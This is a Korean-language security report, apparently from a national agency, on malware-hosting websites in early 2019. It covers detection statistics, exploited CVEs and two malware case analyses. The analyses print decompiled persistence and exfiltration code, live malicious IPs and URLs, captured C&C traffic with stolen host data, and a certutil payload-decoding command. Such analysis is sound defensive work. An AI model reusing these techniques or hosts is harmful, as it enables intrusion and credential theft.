

악성코드 은닉사이트 탐지 동향 보고서 【'19년 상반기】

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1. 악성코드 은닉사이트 동향 요약

상반기 동향 요약

【악성코드 은닉사이트 탐지현황】

- (유포지) 전년 하반기 대비 17%(276건→323건) 증가,
* 전년 상반기 대비 44%(580건→323건) 감소
- (경유지) 전년 하반기 대비 22%(5,890건→4,595건) 감소,
* 전년 상반기 대비 42%(8,008건→4,595건) 감소

【악성코드 유형】

- 원격제어(31%), 정보유출(계정정보)(22%), 다운로드(15%), 랜섬웨어(14%), 정보유출(기기정보)(10%), 가상통화 채굴(4%) 등
- ※ 2018년 하반기 악성코드 유형 : 정보유출(기기정보)(25%), 랜섬웨어(20%), 정보유출(계정정보)(20%), 다운로드(13%), 가상통화 채굴(8%), 원격제어(6%) 등

【취약한 S/W 악용현황】

- MS IE 취약점(46%), Java Applet 취약점(23%), Adobe Flash Player 취약점(23%), MS Edge 취약점(8%)
- ※ 2018년 하반기 취약점 S/W 악용현황 : Adobe Flash Player 취약점(40%), Java Applet 취약점(31%), MS IE 취약점(20%), MS Edge 취약점(8%), MS XML 취약점(1%)

【경유지 업종별 현황】

- 쇼핑(20%), 커뮤니티(19%), 제조(18%), 교육/학원(13%), 건강/의학(11%) 등
- ※ 2018년 하반기 경유지 업종별 현황 : 제조(24%), 커뮤니티(17%), 쇼핑(14%), 교육/학원(9%), 비즈니스/경제(8%) 등

2. 악성코드 은닉사이트 통계


Information TIP

- 악성코드 은닉사이트란?
이용자 PC를 악성코드에 감염시킬 수 있는 홈페이지로, 해킹을 당한 후 악성코드 자체 또는 악성코드를 유포하는 주소(URL)를 숨기고 있는 것을 말한다.

2.1 악성코드 유포지 현황

□ 유포지 탐지 현황


- 2019년 상반기에 악성코드 유포지 탐지 및 조치 현황은 다음과 같다.
 - 전년 동기 대비 44%(580건→323건) 감소, 전년 하반기 대비 17%(276건→323건) 증가



[그림1] 악성코드 유포지 탐지 건수

□ 대량 경유지가 탐지된 유포지 TOP10

- 2019년 상반기에 대량 경유지가 탐지된 유포지 TOP10은 다음과 같다.
- 2019년 상반기 유포지에 의해 탐지된 경유지뿐만 아니라 기존 탐지된 유포지도 지속적으로 경유지에 악용되고 있으나, 차단/조치되어 추가 피해는 발생하지 않음




[그림2] 대량 경유지가 탐지된 유포지 Top 10

[표1] 대량 경유지가 탐지된 유포지


순위	탐지일	유포지	국가	경유지 건수
1	2017-02-07	램닛(Ramnit) 악성코드	--	800
2	2010-12-27	http://www.ro521.com/test.htm	US	587
3	2019-05-22	http://kks.me/aUYCK	CN	338
4	2011-05-06	http://www.wxxxx.net/bbs/data/talk/common.js	KR	318
5	2009-12-07	http://cpro.baidu.com/cpro/ui/cp.js	CN	305
6	2019-05-23	http://u6.gg/cXFwy	CN	227
7	2019-05-23	http://u6.gg/aHw3R	CN	215
8	2019-05-23	http://kks.me/a3Lh9	CN	149
9	2019-05-22	http://u6.gg/f8fDh	CN	120
10	2013-03-11	http://nxxxxd.com/new.htm	KR	91

□ 악성코드 취약점 및 취약한 S/W 악용현황

- CVE-2018-8174(MS IE 취약점)/CVE-2018-8373/CVE-2011-2140(Adobe Flash Player 취약점)/CVE-2011-3544/CVE-2012-4681, CVE-2011-3544/CVE-2012-4681/CVE-2013-0422 (Java 애플릿 취약점), CVE-2014-0569/CVE-2015-3133/CVE-2016-0189, CVE-2016-7200 (MS Edge 취약점)의 취약점이 복합적으로 사용되었다.
- 취약한 S/W 악용 유형 중 Internet Explorer 취약점이 46%의 비율로 가장 높았으며, 그 이외에도 Java Applet, Adobe Flash Player, MS Edge 순으로 나타났다.




[그림3] 취약점 악용 현황



[그림4] 취약한 S/W 악용 현황

□ 악성코드 유형별 비율

- 악성코드 유형 중 원격제어가 31%의 비율로 가장 높았으며, 그 이외에도 정보유출(계정정보), 다운로드, 랜섬웨어, 정보유출(기기정보), 가상통화 채굴 등의 악성코드 유형이 다양하게 나타났다.




[그림5] 악성코드 유형별 비율

- ※ 원격제어 : 해커가 원격지에서 악성코드에 감염된 좀비PC들을 제어하는 목적으로 이용하는 악성코드
- ※ 정보유출(계정정보) : 이용자의 PC 또는 모바일 기기내 저장된 ID, P/W 등을 탈취하는 악성코드
- ※ 다운로드 : 추가 악성코드를 인터넷이나 네트워크를 통하여 다운로드 후 설치 및 실행하는 악성코드
- ※ 랜섬웨어 : PC의 중요파일(문서, 사진 등)을 암호화하고 금전을 요구하는 악성코드
- ※ 정보유출(기기정보) : 감염된 PC 또는 모바일 단말기의 정보(MAC 주소, 운영체제, 실행중인 프로세스 등)를 탈취하는 악성코드
- ※ 가상통화 채굴 : 온라인 가상통화를 탈취하거나 채굴하기 위한 악성코드
- ※ DDoS : 다수의 좀비PC를 이용하여 대량의 유해 트래픽을 특정 시스템으로 전송해 시스템의 정상적인 서비스를 방해하는 악성코드
- ※ 키로깅 : 사용자가 키보드로 PC에 입력하는 내용을 몰래 탈취하기 위한 악성코드
- ※ 런처 : 다른 악성 프로그램을 실행할 때 사용하는 악성 프로그램
- ※ 정보유출(금융정보) : 공인인증서, 비밀번호 등 금융정보를 탈취하는 악성코드
- ※ 백도어 : 몰래 컴퓨터에 접속하여 악의적인 행위를 할 수 있도록 출입통로 역할을 해주는 악성코드
- ※ 드롭퍼 : 정상 애플리케이션인 것처럼 배포된 뒤 실행되면 바이러스 코드를 실행하는 악성코드

□ 위협 IP 및 도메인 현황

○ 2019년 상반기에 위협 IP 및 도메인 현황 TOP10은 다음과 같다.



[표2] 파밍 IP / C&C 및 정보유출지 악용 현황


순위	파밍 IP	국가	건수	C&C 및 정보유출지	국가	건수
1	98.126.XXX.XXX	US	1	185.117.XXX.XXX	SE	15
2				169.239.XXX.XXX	ZA	7
3				172.104.XXX.XXX	US	7
4				54.38.XXX.XXX	US	7
5				66.42.XXX.XXX	AU	5
6				79.141.XXX.XXX	HK	5
7				185.136.XXX.XXX	GB	4
8				179.43.XXX.XXX	CH	4
9				167.179.XXX.XXX	NZ	3
10				92.38.XXX.XXX	RU	3

2.2 악성코드 경유지 현황


□ 경유지 탐지 · 업종별 비율

○ 2019년 상반기에 악성코드 경유지 탐지 · 업종별 유형은 다음과 같다.


- 전년 동기 대비 42%(8,008건→4,595건) 감소, 전년 하반기 대비 22%(5,890건→4,595건) 감소
※ 탐지된 경유지는 해당 홈페이지 운영자에게 통보하여 악성코드 삭제 및 보안조치 요청을 수행
- 경유지 업종별 유형 중 쇼핑이 가장 높았고, 커뮤니티, 제조, 교육/학원, 건강/의학 순으로 탐지가 되었으며, 이에 대해 삭제 및 보안조치 요청



[그림8] 경유지 탐지 현황



[그림9] 탐지된 경유지의 도메인 기준 업종별 TOP 10



[그림10] 탐지된 경유지의 URL 기준 업종별 TOP 10

3. 악성코드 유포 사례 분석

□ 엑셀 매크로 기능을 악용한 원격제어형 악성코드 유포

○ 악성코드 파일(20190706_077345.xls) 상세분석 내용

- 악성코드 행위 : 엑셀 실행 시 악성 매크로 기능을 악용, 특정 IP에 접속하여 특정 파일을 다운로드 및 실행을 통해 PC정보 유출하는 원격제어형 악성코드

- 네트워크상의 악성행위

도메인	IP	용도	상세내용
waiireme.com (우루과이)	-	정보유출지	원격제어
-	172.104.117.15 (미국)	정보유출지	
-	185.117.89.130 (스웨덴)	정보유출지	

- 운영체제상의 악성행위

항목	내용
네트워크	<p>The screenshot displays the Microsoft Visual Basic for Applications editor. On the left, the 'Project Explorer' shows the 'VBAPProject (20190706_077345.xls)' containing 'Microsoft Excel 개체', 'Sheet1 (1)', 'ThisWorkbook', 'UserForm1', 'UserForm2', '모듈', 'Module1', and '클래스 모듈'. The 'Properties Window' at the bottom left shows '속성 - TextBox1'. The main window shows 'UserForm1 (UserForm)' with a text box labeled 'ffr3' containing the command <code>EXEC("cmd.exe /c start "" xlx.exe")</code>.</p>

ProgramName	True
Left	186
Locked	False
MaxLength	0
MouseIcon	(없음)
MousePointer	0 - fmMousePointerDefault
MultiLine	False
PasswordChar	
ScrollBars	0 - fmScrollBarsNone
SelectionMargin	True
SpecialEffect	2 - fmSpecialEffectSunken
TabIndex	0
TabKeyBehavior	False
TabStop	True
Tag	http://wallfireme.com/14
Text	EXEC("cmd.exe /c start "" xlx.exe")
TextAlign	1 - fmTextAlignLeft
Top	77

Excel UserForm을 통해 추가 파일 다운로드

행위

```

26 sub_411440():
27 if ( IsUserAnAdmin_sub_411760() == 1 )
28 {
29 sub_411180("wsus.exe");
30 sub_411180("wsus.exe");
31 sub_411440():
32 sub_401590(0, 0, (int)L"cmd", (int)L"/C net.exe stop foundation", 0, 0);
33 sub_401590(0, 0, (int)L"cmd", (int)L"/C sc delete foundation", 0, 0);
34 }
35 sub_411180("wsus.exe");
36 sub_411180("wsus.exe");

```

```

1 BOOL sub_411440()
2 {
3 CHAR v1; // [esp+0h] [ebp-30Ch]
4 CHAR FileName; // [esp+104h] [ebp-208h]
5 CHAR pszPath; // [esp+208h] [ebp-104h]
6
7 SHGetSpecialFolderPath(0, &pszPath, 35, 0);
8 wsprintfA(&FileName, "%s\\Microsoft Help\\wsus.exe", &pszPath);
9 DeleteFileA(&FileName);
10 wsprintfA(&v1, "%s\\NuGets\\wsus.exe", &pszPath);
11 return DeleteFileA(&v1);
12 }

```

```

IDA view-A Pseudocode-A Hex view-I
1 BOOL __cdecl sub_411180(LPCSTR lpString2)
2 {
3 int v2; // [esp+0h] [ebp-134h]
4 DWORD dwProcessId; // [esp+8h] [ebp-12Ch]
5 CHAR String1; // [esp+24h] [ebp-110h]
6 int v5; // [esp+128h] [ebp-Ch]
7 HANDLE v6; // [esp+12Ch] [ebp-8h]
8 HANDLE hObject; // [esp+130h] [ebp-4h]
9
10 v5 = 0;
11 hObject = 0;
12 v6 = (HANDLE)CreateToolhelp32Snapshot_sub_401600(2, 0);

```

```

01 13 if ( v6 != (HANDLE)-1 )
02 14 {
03 15     v2 = 296;
04 16     if ( Process32First sub_401630(v6, &v2) )
05 17     {
06 18         do
07 19         {
08 20             if ( !strcmpA(&String1, lpString2) )
09 21             {
10 22                 hObject = OpenProcess(1u, 0, dwProcessId);
11 23                 if ( hObject )
12 24                 {
13 25                     TerminateProcee_sub_401660(hObject, -1);
14 26                     CloseHandle(hObject);
15 27                 }
16 28             }
17 29         }
18 30         while ( Process32Next_sub_401690(v6, &v2) );
19 31     }
20 32 }
21 33 return CloseHandle(v6);
22 34 }

```


관리자 권한이 있을 때 "wsus.exe" 프로세스가 실행 중이면 종료 후 서비스 종료 및 삭제
관리자 권한이 아닐 때 "wsus.exe" 프로세스가 실행 중이면 종료


```



37 SHGetSpecialFolderPath(0, &pszPath, 35, 0);
38 wprintfA(PathName, "%s\\NuGets", &pszPath);
39 CreateDirectoryA(PathName, 0);
40 v14 = sub_4016C0((int)"user32.dll", 0, 0);
41 v13 = (void (*)(CHAR *, const char *, ...))sub_401030(v14, (int)"wprintfA");
42 CoCreateGuid(&pguid);
43 SHGetSpecialFolderPath(0, &v6, 35, 0);
44 v13(&FileName, "%s\\NuGets\\template_%x.TMP\\TMPZIP?", &v6, PathName, pguid.Data3 + pguid.Data1 * pguid.Data2);
45 DeleteFileA(&FileName);
46 OutputDebugStringA(&FileName);
47 sub_410B90((int)&http1721041171, (int)&FileName); // http://172.104.117.15/02.dat
48 Sleep(0x1388u);
49 OutputDebugStringA("I");
50 GetLastError();


```

행위



	
	특정 폴더 생성 후 특정 URL을 통하여 데이터 다운로드 후 복호화하여 wsus.exe 파일 생성
행위	<pre> 15 sub_401560(0, &v5, 35, 0); 16 wsprintfw(&v4, L"%s\\NuGets\\wsus.exe", &v5); 17 if (IsUserAnAdmin_sub_411760(v0) == 1) 18 { 19 sub_401590(0, 0, L"cmd", L"/C net.exe stop foundation", 0, 0); 20 sub_401590(0, 0, L"cmd", L"/C sc delete foundation", 0, 0); 21 sub_4015D0(3000); 22 wsprintfw(23 &OutputString, 24 L"/C sc create foundation binPath= \"%s -service\" type= own start= auto error= ignore", 25 &v4); 26 OutputDebugStringW(&OutputString); 27 sub_401590(0, 0, L"cmd", &OutputString, 0, 0); 28 sub_4015D0(2000); 29 sub_4015D0(2000); 30 sub_401590(0, 0, L"cmd", L"/C net.exe start foundation y ", 0, 0); 31 sub_4015D0(15000); 32 result = sub_4015D0(15000); 33 } 34 else 35 { 36 sub_401560(0, &v6, 35, 0); 37 wsprintfw(&v8, L"%s\\NuGets\\wsus.exe", &v6); 38 wsprintfw(&v3, L"%s\\NuGets", &v6); 39 sub_411990(&v8); 40 sub_4114C0(&v8, &v3); 41 phkResult = 0; 42 v9 = 0; 43 v9 = RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &phkResult); 44 v2 = wcslen(&v8); 45 RegSetValueExW(phkResult, L"IntelProtected", 0, 1u, (const BYTE *)&v8, 2 * v2); 46 RegFlushKey(phkResult); 47 result = RegCloseKey(phkResult); 48 } 49 return result; </pre>





관리자 권한 체크 후 관리자 권한이면 서비스 등록 및 실행

관리자 권한 체크 후 관리자 권한이 아니면 자동실행 레지스트리 등록 및 작업 스케줄 등록

행위

```

.rdata:004ADC6D align 10h
.rdata:004ADC70 aTheRemoteCompu db 'The remote computer closed this session.',0
.rdata:004ADC99 align 10h
.rdata:004ADCA0 aTheRemotePcUse db 'The remote pc uses Ammyy Admin v\$',0Ah
.rdata:004ADCA0 db 'It',27h,'s other version, so the program can work incorrectly! ',0
.rdata:004ADCFC aOperatorSIsCon db 'Operator\%s is connecting to your PC.',0
.rdata:004ADD21 align 4
.rdata:004A0D24 aRememberMyAnsw db 'Remember my answer for this operator',0
.rdata:004ADD49 align 4
.rdata:004ADD4C aViewScreen db 'View screen',0
.rdata:004ADD58 aRemoteControl db 'Remote control',0
.rdata:004ADD67 align 4
.rdata:004ADD68 aFileManager db 'File manager',0
.rdata:004ADD75 align 4
.rdata:004ADD78 aAudioChat db 'Audio chat',0
.rdata:004ADD83 align 4
.rdata:004ADD84 aRdpSessions db 'RDP sessions',0

.rdata:004ADD91 align 4
.rdata:004ADD94 aRemoteComputer db 'Remote computer rejected your query to access.',0
.rdata:004ADD9C align 4
.rdata:004ADD9C aWaitingForAuth db 'Waiting for authorization from remote PC',0
.rdata:004ADDED align 10h
.rdata:004ADDF0 aThisSessionIsI db 'This session is inactive.',0Ah
.rdata:004ADDF0 db 'You can reconnect to an active session in a few seconds.',0
.rdata:004ADE43 align 4
.rdata:004ADE44 aDotSmallDotNor db 'Dot|Small dot|Normal arrow|No cursor',0
.rdata:004ADE69 align 4
.rdata:004ADE6C aDonTShowShowSh db 'Don',27h,'t show|Show shape|Show shape and position',0
.rdata:004ADE9A align 4
.rdata:004ADE9C aAccessFilesUnd db 'Access files under current user account',0
.rdata:004ADEC4 aStartWaitForSe db 'Start "wait for session" mode automatically',0
.rdata:004ADEF0 aWaitForSession db 'Wait for session',0
.rdata:004ADF01 align 4
.rdata:004ADF04 aCreateSession db 'Create session',0
.rdata:004ADF13 align 4
.rdata:004ADF14 aTheRemoteCompu_0 db 'The remote computer exceeded concurrent sessions limit',0
.rdata:004ADF48 align 10h

```

원격제어 관련 안내문

행위

```

87 LOBYTE(v53) = 4;
88 sub_416CA0(&v31, L"id=");
89 v6 = sub_401620(&v42, &v44);
90 LOBYTE(v53) = 6;
91 sub_416F60(&v31, v6);
92 LOBYTE(v53) = 4;
93 if ( v43 >= 8 )
94     sub_401B50(v42, v43 + 1);
95 sub_416CA0(&v31, L"&");
96 sub_416CA0(&v31, L"os=");
97 v7 = sub_401620(&v42, &v47);
98 LOBYTE(v53) = 7;
99 sub_416F60(&v31, v7);
100 LOBYTE(v53) = 4;
101 if ( v43 >= 8 )
102     sub_401B50(v42, v43 + 1);
103 sub_416CA0(&v31, L"&");
104 sub_416CA0(&v31, L"priv=");
105 sub_439810(&v41);
106 LOBYTE(v53) = 8;
107 v9 = L"+UAC";
108 if ( !(unsigned __int8)sub_439380(v8) )
109     v9 = &WideCharStr;
110 v10 = sub_434A80(0);
111 v11 = sub_416CA0(&v31, v10);
112 sub_416CA0(v11, v9);
113 LOBYTE(v53) = 9;

```

```

124 sub_416CA0(&v31, L"&");
125 sub_416CA0(&v31, L"cred=");
126 sub_439CF0(&v41);
127 LOBYTE(v53) = 10;
128 v14 = sub_434A80(0);
129 sub_416CA0(&v31, v14);
130 LOBYTE(v53) = 11;
131 if ( (_UNKNOWN *)sub_434CA0(&v41) != &unk_4BBD3C )
132 {
133     v15 = (volatile LONG *)sub_434CA0(&v41);
134     if ( InterlockedDecrement(v15) <= 0 )
135     {
136         v16 = (void *)sub_434CA0(&v41);
137         j_j_j__free_base(v16);
138     }
139 }

```

```

140 LOBYTE(v53) = 4;
141 sub_416CA0(&v31, L"&");
142 sub_416CA0(&v31, L"pname=");
143 sub_438D10(&v41);
144 LOBYTE(v53) = 12;
145 v17 = sub_434A80(0);
146 sub_416CA0(&v31, v17);
147 LOBYTE(v53) = 13;
148 if ( (_UNKNOWN *)sub_434CA0(&v41) != &unk_4BBD3C )
149 {
150     v18 = (volatile LONG *)sub_434CA0(&v41);
151     if ( InterlockedDecrement(v18) <= 0 )
152     {
153         v19 = (void *)sub_434CA0(&v41);
154         j_j_j__free_base(v19);
155     }
156 }
157 LOBYTE(v53) = 4;
158 sub_416CA0(&v31, L"&");
159 sub_416CA0(&v31, L"card=");
160 v20 = sub_439970();
161 sub_4108B0(v20);
162 sub_416CA0(&v31, L"&");
163 sub_410030(&v50);

```

```

145     if ( v19 != 1 )
146         goto LABEL_64;
147     if ( (unsigned __int8)sub_438DD0() )
148         sub_4329F0("Windows XP x64");
149     if ( v16 != 5 )
150         goto LABEL_53;
151     v8 = v17;
152     if ( v17 == 2 )
153     {
154 LABEL_64:
155         sub_4329F0("Server 2003");
156         if ( v16 != 5 )
157             goto LABEL_53;
158         v8 = v17;
159     }
160 }
161 if ( v8 != 1 )
162     goto LABEL_51;
163 sub_4329F0("XP");
164 if ( v16 == 5 )
165 {
166     v8 = v17;
167 LABEL_51:
168     if ( !v8 )
169         sub_4329F0("2000");
170     goto LABEL_53;
171 }
172 }
173 LABEL_53:
174 sub_4328C0(&v20);
175 if ( v18 )
176 {
177     sub_403D30(&String, 16, " SP%u", v18);
178     v9 = lstrlenA(&String);
179     sub_432D40(v9, &String);
180 }

```

```

53     sub_4329F0("10 Server");
54     v6 = v16;
55     if ( v16 != 10 )
56         goto LABEL_11;
57     if ( v19 != 1 )
58         goto LABEL_53;
59 }
60 sub_4329F0("10");
61 v6 = v16;
62 LABEL_11:
63     if ( v6 != 6 )
64         goto LABEL_39;
65     v7 = v17;
66     if ( v17 != 3 )
67         goto LABEL_19;
68     if ( v19 != 1 )
69     {
70         sub_4329F0("Server 2012 R2");
71         v6 = v16;
72         if ( v16 != 6 )
73             goto LABEL_39;
74         v7 = v17;
75         if ( v17 != 3 )
76             goto LABEL_19;
77         if ( v19 != 1 )
78             goto LABEL_53;
79     }
80 sub_4329F0("8.1");
81 v6 = v16;
82 if ( v16 != 6 )
83     goto LABEL_39;
84 v7 = v17;
85 LABEL_19:
86     if ( v7 != 2 )
87         goto LABEL_26;
88     if ( v19 != 1 )
89     {
90         sub_4329F0("Server 2012");

```

PC 정보 수집

행위

```

10 char *v8; // [esp+24h] [ebp-10h]
11 int v9; // [esp+30h] [ebp-4h]
12
13 v8 = &v4;
14 v1 = this;
15 v6 = this;
16 if ( !(((unsigned int)this[25] >> 5) & 1) )
17 {
18     sub_434F60(&v5, "RDP is forbidden", v4);
19     _CxxThrowException(&v5, &_TI1_AVRException__);
20 }
21 v9 = 0;
22 v2 = *this;
23 *((_BYTE *)this + 189) = 1;
24 v7 = 0;
25 ((void (*)(void))v2[6])();
26 v9 = -1;
27 result = (**v1[3])(&v7, 2, 1);
28 if ( !(_WORD)v7 )
29     result = ((int (*)(void))(*v1[7])());
30 return result;
31 }

```

RDP 체크하여 원격수행을 하는 것으로 추정

행위

```

102 v15 = v1[48];
103 v16 = v15[45] + v24;
104 v15[41] = v16;
105 v17 = v1[48];
106 v18 = v17[42];
107 v10 = v18 == 0;
108 v19 = v18 < 0;
109 v20 = v17[43];
110 v27 = v18;
111 v21 = (int)v25;
112 v26 = v20;
113 if ( !v19 && !v10 && v20 > 0 )
114     mouse_event(v4, 0xFFFF * v14 / v27, 0xFFFF * v16 / v26, v13, 0);
115 *((_BYTE *)v21 + 152) = v22;
116 result = sub_434FD0((LARGE_INTEGER *)v21 + 192 + 144);
117 }
118 return result;
119 }

```

```

48  if ( *(_BYTE *)(v1 + 96) )
49  {
50      GetKeyboardState(&KeyState);
51      if ( v13 & 1 )
52      {
53          keybd_event(0x14u, 0, 1u, 0);
54          keybd_event(0x14u, 0, 3u, 0);
55      }
56      GetKeyboardState(&KeyState);
57      if ( v14 & 1 )
58      {
59          keybd_event(0x91u, 0, 1u, 0);
60          keybd_event(0x91u, 0, 3u, 0);
61      }
62      sub_41D520();
63  }
64 }

```

```

16  LOWORD(v0) = GetAsyncKeyState(160);
17  if ( (v0 >> 15) & 1 )
18  {
19      v1 = MapVirtualKeyW(0xA0u, 0);
20      keybd_event(0xA0u, v1, 2u, 0);
21  }
22  LOWORD(v2) = GetAsyncKeyState(162);
23  if ( (v2 >> 15) & 1 )
24  {
25      v3 = MapVirtualKeyW(0xA2u, 0);
26      keybd_event(0xA2u, v3, 2u, 0);
27  }

```

```

28  LOWORD(v4) = GetAsyncKeyState(164);
29  if ( (v4 >> 15) & 1 )
30  {
31      v5 = MapVirtualKeyW(0xA4u, 0);
32      keybd_event(0xA4u, v5, 2u, 0);
33  }
34  LOWORD(v6) = GetAsyncKeyState(161);
35  if ( (v6 >> 15) & 1 )
36  {
37      v7 = MapVirtualKeyW(0xA1u, 0);
38      keybd_event(0xA1u, v7, 2u, 0);
39  }
40  LOWORD(v8) = GetAsyncKeyState(163);
41  if ( (v8 >> 15) & 1 )
42  {
43      v9 = MapVirtualKeyW(0xA3u, 0);
44      keybd_event(0xA3u, v9, 2u, 0);
45  }
46  LOWORD(v10) = GetAsyncKeyState(165);
47  if ( (v10 >> 15) & 1 )


```

키보드 및 마우스 이벤트 확인

네트워크

추가 파일 다운로드

네트워크



```

Follow TCP Stream
Stream Content
GET /02.dat HTTP/1.1
Host: 172.104.117.13
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Mon, 03 Jun 2019 08:12:09 GMT
Content-Type: application/octet-stream
Content-Length: 855840
Last-Modified: Sun, 02 Jun 2019 21:30:00 GMT
Connection: keep-alive
ETag: "5cf44010-d0f20"
Accept-Ranges: bytes
....h.r.../.Uo..Cd\...k.d....F.QG...
$19l...U./..ns.u...>lx.5./..].
k.p.....o.J.w.<...i...qGA...y.
3./.....r..L.....jY....?.n&1.">
+.g.2.D.....;..C...S.z!...m..f
\8.....@>.....8n...2.nj...f
$G.2%.K.....N.H.....Q.Ty.h"...4#..
[...c.x..p.....td..z..O.U...^...B..P)
.....N.r.....+(C.....Q.....d.&..
.....T.....F...QB...r.....4...*

```

특정 IP에서 특정 파일 다운로드

네트워크

Source	Destination	Protocol	Length	Info
192.168.171.133	185.117.89.130	TCP	66	49334 > http [SYN] Seq=0 win=8192 Len=0 MSS=1460
185.117.89.130	192.168.171.133	TCP	60	http > 49334 [ACK] Seq=1 Ack=4062727446 win=64240
192.168.171.133	185.117.89.130	TCP	54	49334 > http [RST] Seq=4062727446 win=0 Len=0
192.168.171.133	185.117.89.130	TCP	66	[TCP Retransmission] 49334 > http [SYN] Seq=0 win=8192 Len=0 MSS=1460
185.117.89.130	192.168.171.133	TCP	60	[TCP Retransmission] http > 49334 [SYN, ACK] Seq=1 Ack=4062727446 win=64240
192.168.171.133	185.117.89.130	TCP	54	49334 > http [ACK] Seq=1 Ack=4149143572 win=64240
192.168.171.133	185.117.89.130	TCP	90	[TCP segment of a reassembled PDU]
185.117.89.130	192.168.171.133	TCP	60	http > 49334 [ACK] Seq=4149143572 Ack=37 win=64240
185.117.89.130	192.168.171.133	TCP	60	[TCP Retransmission] [TCP segment of a reassembled PDU]
185.117.89.130	192.168.171.133	TCP	60	[TCP Retransmission] http > 49334 [PSH, ACK] Seq=164 Ack=4149143575 win=64240
192.168.171.133	185.117.89.130	TCP	54	49334 > http [ACK] Seq=37 Ack=4149143574 win=64240
192.168.171.133	185.117.89.130	TCP	179	[TCP segment of a reassembled PDU]
185.117.89.130	192.168.171.133	TCP	60	http > 49334 [ACK] Seq=4149143574 Ack=162 win=64240
192.168.171.133	185.117.89.130	TCP	56	[TCP segment of a reassembled PDU]
185.117.89.130	192.168.171.133	TCP	60	http > 49334 [ACK] Seq=4149143574 Ack=164 win=64240
185.117.89.130	192.168.171.133	TCP	60	[TCP Retransmission] [TCP segment of a reassembled PDU]
185.117.89.130	192.168.171.133	TCP	60	[TCP Retransmission] [TCP segment of a reassembled PDU]
192.168.171.133	185.117.89.130	TCP	54	49334 > http [ACK] Seq=164 Ack=4149143575 win=64240
192.168.171.133	185.117.89.130	TCP	54	49334 > http [FIN, ACK] Seq=164 Ack=4149143575 win=64240
185.117.89.130	192.168.171.133	TCP	60	http > 49334 [ACK] Seq=4149143575 Ack=165 win=64240
185.117.89.130	192.168.171.133	TCP	60	[TCP Retransmission] http > 49334 [FIN, PSH, ACK] Seq=164 Ack=4149143575 win=64240



```

Follow TCP Stream
Stream Content
=...K...n..(..oY.....1...n.....Q8x...id=50471428&os=7 SP1 x64&priv=Admin
+UAC&cred=ccc-PC\ccc&pcname=ccc-PC&avname=&build_time=02-06-2019 .... 7:31:23&card=0&...

```

특정 IP로 특정 정보를 전송

□ 인증서로 위장한 정보유출(계정정보) 악성코드


○ 악성코드 파일(wp32.txt, wp64.txt) 상세분석 내용


- 악성코드 행위 : 브라우저 계정정보를 수집하여 특정 FTP 서버로 전송하는 정보유출(계정정보) 악성코드

- 네트워크상의 악성행위(wp32.txt, wp64.txt)

도메인	IP	용도	상세내용
ftp.drivehq.com	66.220.9.50 (미국)	정보유출지	정보유출(계정정보)

- 운영체제상의 악성행위(wp32.txt)

항목	내용
행위	 <p>wp32.txt - 메모장</p> <p>파일(F) 편집(E) 서식(O) 보기(V) 도움말(H)</p> <p>-----BEGIN CERTIFICATE----- TVNDRgAAAAADcKgUAAAAAAACwAAAAAAAwEBAAEAAAAAAAAAAQwAAABMAAQAAUgkA AAAAAAAAAXE42mSAAd3AuZGxsAMfCWKYjRwCAQDvtvX98FMeR0Dq7M5IwJgFr7Bs y7Yc5lucJY7sxTFiAUugXQnDipWEdkIAErIzdLKekxBpBzsXS0aMftRqDcYHdnw0 scmZfB/ve9yd74yFMBh2JU4rgWmkIAYHx5ZtkgxIz8tGgQYkzbeqZ1a/+0Hc9+## f7zPg492Zrqrq6urq6qrunt6vN/dwvEcwnwp2kc18rp/7K5r/4Xg79pd785jdsz 6df3tJqW/fqeFZWp16Strf7R31Z/7wdpf/09H/7wR8G0v/5+WrX0w7THf5iWu7w4 7Qc/euz790+d0jndwLF+zicvHS5RuuJ/gTuSu9rg+k+z/qrrPLve0vUhu36969/h +utv3tXVzmCbuQpY+te6jrDrzK7/YFcbuxY9/jeVi09GtPvcHLfMIMA9+Y9PrY6n 9XLme6aYJnPc1ywcN9vEOvLqkj0hgxy4KON3Zs5LoHT8+NXrncSY+lqbRJKZ5tY IzterL8aaL60cLlwDX5u4eYzBkzi9piuQ+CWSdzKrK/ug4H/tIzvk6Az1Xxj+PuD</p> <p>C:\> 관리자: C:\Windows\System32\cmd.exe</p> <p>Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.</p> <p>C:\Windows\system32> certutil.exe -decode wp32.txt wp.txt</p> <p>입력 길이 = 465704 출력 길이 = 338652 CertUtil: -decode 명령이 성공적으로 완료되었습니다.</p>



base64형태로 인코딩된 데이터를 디코딩하면 CAB확장자 형태의 압축 프로그램으로 확인됨,
압축해제시 DLL파일 확인

행위

```
CALL to RegOpenKeyExA from wp.6AB08490
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Reserved = 0
Access = KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY|20100
pHandle = 000BF1C0
```

```
LEA EAX,DWORD PTR SS:[EBP-3C]
PUSH EAX
MOV ESI,20019
CALL DWORD PTR DS:[6AC35020] kernel32.GetNativeSystemInfo
CMP WORD PTR SS:[EBP-3C],9
JNZ SHORT wp_1.6ABA8476
MOV ESI,20119
PUSH 48
MOV EAX,wp_1.6AC29C44
MOV DWORD PTR SS:[EBP-158],0
MOV DWORD PTR SS:[EBP-140],8
CALL wp_1.6ABA8340
MOV EDX,DWORD PTR SS:[EBP-150]
PUSH EAX
PUSH 0
PUSH EDX
CALL DWORD PTR DS:[6AC35014]
MOV DWORD PTR SS:[EBP-154],EAX
PUSH EDX
PUSH 10
MOV EAX,wp_1.6AC29C5C
MOV DWORD PTR SS:[EBP-140],4
CALL wp_1.6ABA8340
PUSH EAX
MOV EAX,DWORD PTR SS:[EBP-150]
PUSH 0
PUSH EAX
CALL DWORD PTR DS:[6AC35014]
MOV DWORD PTR SS:[EBP-154],EAX
```

ASCII "6C4B5651444949714C484C

InstallTime

ADVAPI32.RegGetValueA

ASCII "6C4B56514449496144514C

InstallData

ADVAPI32.RegGetValueA

시스템 정보 확인

행위

```

6ABA7482 PUSH EBX
6ABA7483 PUSH EBX
6ABA7484 PUSH 80000000
6ABA7489 PUSH EAX
6ABA748A MOV DWORD PTR SS:[EBP-4],EBX
6ABA748D MOV DWORD PTR SS:[EBP-8],EBX
6ABA7490 CALL DWORD PTR DS:[<&KERNEL32.CreateFileW>] kernel32.CreateFileW
6ABA7496 MOV EDI,EAX
